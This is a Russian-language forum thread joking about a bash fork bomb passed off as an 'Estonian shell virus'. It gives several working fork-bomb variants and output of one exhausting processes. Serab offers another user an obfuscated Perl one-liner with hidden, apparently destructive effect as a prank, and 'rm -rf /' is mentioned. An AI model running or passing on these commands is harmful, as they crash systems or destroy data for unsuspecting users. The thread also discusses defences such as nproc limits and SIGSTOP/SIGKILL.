[*nix,shell,вирус] Почему у меня не запускается эстонский shell-вирус?

Barbie29

чето не запускается, пришет анэкспектед токен =(
{ :&:;};:  

 :confused: :confused: :confused:

Anna83

:smirk:

tokuchu

В юниксе разные шеллы есть. Это вроде башевская версия.

Serab

{ :&:;};:
а у меня вот запускается
 $ { :&:;};:
[1] 16534
[2] 16535
[3] 16537
[4] 16539
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
[5] 16649
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
[5]+ Terminated :
$ -bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource temporarily unavailable
-bash: fork: Resource

klyv

а чёза магия?

vall

Serab

Нуууу,
$ cat /etc/security/limits.conf |grep nproc
@users hard nproc 500

Barbie29

мндя, у меня тоже сработала, еду сервак в Подмосковье ребутить :o

Serab

неправда, таким как ты не говорят, где сервак физически находится

serega1604

почему никто до сих пор не запостил картинку с бояном?

spitfire

Если доступен рутовый шелл на форкбомбнутой машине, можно послать им всем сигнал STOP (чтобы не размножались а потом поубивать.

Serab

А ты пробовал?
А то когда еще не стояло ограничение на количество процессов, специально попробовал запустить, думал отрублю, так не тут-то было =) На терминал перейти то ли вообще не получилось, то ли залогиниться там не удалось, точно не помню, но пришлось Alt+SysRq S U B делать, это точно помню. По ssh заходить не пробовал.

spitfire

Пробовал. killall -u <нехороший пользователь> -STOP, затем killall -u <нехороший пользователь> -KILL. As a charm.
Проблема, конечно, получить шелл рута, если ulimit'ы плохо настроены из коробки.

spitfire

Alt+SysRq+K не помогло, кстати (Kill all processes on the current virtual console)?

Serab

Не пробовал.

Barbie29

Сообщение удалил

Barbie29

если переписать вышеприведенную конструкцию в более читабельном виде, то это будет выглядеть как-то так:


func {
func &
func
}
func


вот.

spitfire

Все это уже давно знают. Можешь спокойно пить.

Barbie29

да знаю я всю эту нашу МГУшную братию уж как лет 5 наверное, все разом резко выстраиваются под правильный ответ, короче нет доверия однако

Serab

Вот именно, что не совсем как у тебя написано. Там важно, что через пайп. Без пайпа не так страшно =)
Вот эта штучка не такая ужасная, конечно, но тоже весело получается, лично тебе советую, как философу.
echo "test... test... test..." | perl -e '$?s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

spitfire

Про решение с SIGSTOP я узнал этим летом. Ровно тогда же и посмотрел коды разных форкбомб.

Barbie29

я из Стивенса также недавно узнал, что сигналы в юниксе вообеще какбы и не обязаны доходить гарантированно... o_O

Barbie29

Вот именно, что не совсем как у тебя написано. Там важно, что именно через пайп.
ну дык как тогда, эквивалент в студию!

AlexV769

задолбали уже rm -rf / писать

Serab

Какой ты смешной =)

Serab

ну дык как тогда, эквивалент в студию!
А, только заметил, у тебя неправильно написано, правильнее по-другому:
 { :|:& }; :

отличие небольшое, но результат похуже, чем просто бэкграундить. Почему точно, не помню, как-то связано с внутренней работой bash'a, давно уже читал статью.

klyv

дык а чё она так легко завершается-то?..
я запустил под MacOSX - поработало и завершилось какт...
стоит проверить под фрёй на серваке в Москве, когда я за 12 часов поезда?

vall

:lol: в osx даже это не работает? :lol:

klyv

ну тут какбы всё работает - не жаловался...
ща проверю вторую версию.

klyv

 { :|:& }; :
убилось легко ctrl-c...
грустненько... и не убьёшь её...

Barbie29

давно уже читал статью
но код эквивалентный то где? нету его пока...

Serab

Че тебе надо, я не пойму? Как у тебя, только два вызова функции соединяются через пайп и вся эта конструкция в бэкграунд отправляется. Замени символ двоеточия на слово func и получишь эквивалентный код.
Оставить комментарий
Имя или ник:
Комментарий: